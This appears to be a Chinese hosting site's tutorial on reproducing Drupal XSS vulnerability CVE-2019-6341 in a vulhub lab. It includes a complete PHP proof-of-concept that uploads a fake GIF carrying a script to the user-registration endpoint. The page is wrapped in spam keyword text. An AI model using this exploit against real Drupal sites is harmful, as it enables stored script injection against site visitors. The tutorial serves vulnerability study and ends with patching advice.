中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Drupal XSS漏洞CVE-2019-6341的分析

發布時間:2021-12-27 18:45:17 來源:億速云 閱讀:209 作者:柒染 欄目:安全技術

如何進行Drupal XSS漏洞CVE-2019-6341的分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

漏洞簡介:

Drupal誕生于2000年,是一個基于PHP語言編寫的開發型CMF(內容管理框架)。在某些情況下,通過文件模塊或者子系統上傳惡意文件觸發XSS漏洞。

威脅類型

XSS

威脅等級

漏洞編號

CVE-2019-6341

受影響系統及應用版本

在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本。

漏洞復現:

使用vulhub環境

進入目錄:root@kali:/vulhub/drupal/CVE-2019-6341

啟動docker

啟動環境如何進行Drupal XSS漏洞CVE-2019-6341的分析

訪問0.0.1:8080

進行CMF的安裝,選擇數據庫時用sqlite數據庫如何進行Drupal XSS漏洞CVE-2019-6341的分析

如何進行Drupal XSS漏洞CVE-2019-6341的分析

如何進行Drupal XSS漏洞CVE-2019-6341的分析

環境搭建完成

1該漏洞需要利用drupal文件模塊上傳文件的漏洞,偽造一個圖片文件,上傳,文件的內容實際是一段HTML代碼,內嵌JS,這樣其他用戶在訪問這個鏈接時,就可能觸發XSS漏洞。

Drupal 的圖片默認存儲位置為 /sites/default/files/pictures//,默認存儲名稱為其原來的名稱,所以之后在利用漏洞時,可以知道上傳后的圖片的具體位置。

使用PoC上傳構造好的偽造GIF文件,PoC參考thezdi/PoC的PoC。

如圖,輸入如下命令,即可使用PoC構造樣本并完成上傳功能,第一個參數為目標IP 第二個參數為目標端口。

(為了不影響越讀體驗poc我放到最后,需要自取)

如何進行Drupal XSS漏洞CVE-2019-6341的分析上傳poc成功!

訪問:http://127.0.0.1:8080/sites/default/files/pictures/2020-05(傳poc的日期)/_0

(火狐和chrome自帶xss過濾功能,驗證存在時可使用 Edge 瀏覽器或者 IE 瀏覽器。

訪問的圖片名稱為_0的原因是因為 Drupal 的規則機制,具體原理見https://paper.seebug.org/897/

如何進行Drupal XSS漏洞CVE-2019-6341的分析漏洞利用poc:

<?php

/*

usage: php poc.php <target-ip>

Date: 1 March 2019

Exploit Author: TrendyTofu

Original Discoverer: Sam Thomas

Version: <= Drupal 8.6.2

Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.

Tested not wokring on: Drupal running on MacOS with APFS

CVE : CVE-2019-6341

Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

 

$host = $argv[1];

$port = $argv[2];

 

$pk =   "GET /user/register HTTP/1.1\r\n".

        "Host: ".$host."\r\n".

        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".

        "Accept-Language: en-US,en;q=0.5\r\n".

        "Referer: http://".$host."/user/login\r\n".

        "Connection: close\r\n\r\n";

 

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

  $out.=fread($fp,1);

}

fclose($fp);

 

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);

$formid = $match[1];

//var_dump($formid);

//echo "form id is:". $formid;

//echo $out."\n";

sleep(1);

 

$data =

"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".

"Connection: close\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"mail\"\r\n".

"\r\n".

"test324@example.com\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"name\"\r\n".

"\r\n".

"test2345\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".

"Content-Type: image/gif\r\n".

"\r\n".

"GIF\r\n".

"<HTML>\r\n".

"       <HEAD>\r\n".

"              <SCRIPT>alert(123);</SCRIPT>\r\n".

"       </HEAD>\r\n".

"       <BODY>\r\n".

"       </BODY>\r\n".

"</HTML>\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_build_id\"\r\n".

"\r\n".

//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".

$formid."\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_id\"\r\n".

"\r\n".

"user_register_form\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"contact\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"timezone\"\r\n".

"\r\n".

"America/New_York\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".

"\r\n".

"user_picture_0_upload_button\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".

"\r\n".

"Upload\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".

"\r\n".

"bartik\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".

"\r\n".

"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".

"-----------------------------60928216114129559951791388325--\r\n";

 

$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".

        "Host: ".$host."\r\n".

        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".

        "Accept: application/json, text/javascript, */*; q=0.01\r\n".

        "Accept-Language: en-US,en;q=0.5\r\n".

        "X-Requested-With: XMLHttpRequest\r\n".

        "Referer: http://" .$host. "/user/register\r\n".

        "Content-Length: ". strlen($data). "\r\n".

        $data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

  $out.=fread($fp,1);

 

fclose($fp);

// echo "Got ".$i."/2 500 errors\n";

// echo $out."\n";

sleep(1);

}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

2、修復建議

升級Drupal至最新版本

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

灯塔市| 高陵县| 甘肃省| 罗定市| 伊宁市| 拉萨市| 菏泽市| 泗水县| 准格尔旗| 霸州市| 青神县| 阿拉善左旗| 天长市| 裕民县| 乌兰察布市| 洛扎县| 萨嘎县| 射阳县| 边坝县| 常熟市| 灵台县| 安阳县| 三亚市| 安图县| 镶黄旗| 屏东县| 阜新| 施甸县| 江安县| 九龙县| 莱芜市| 吴江市| 乐都县| 娄底市| 湘潭市| 太湖县| 阿克| 泌阳县| 怀仁县| 宜兰市| 綦江县|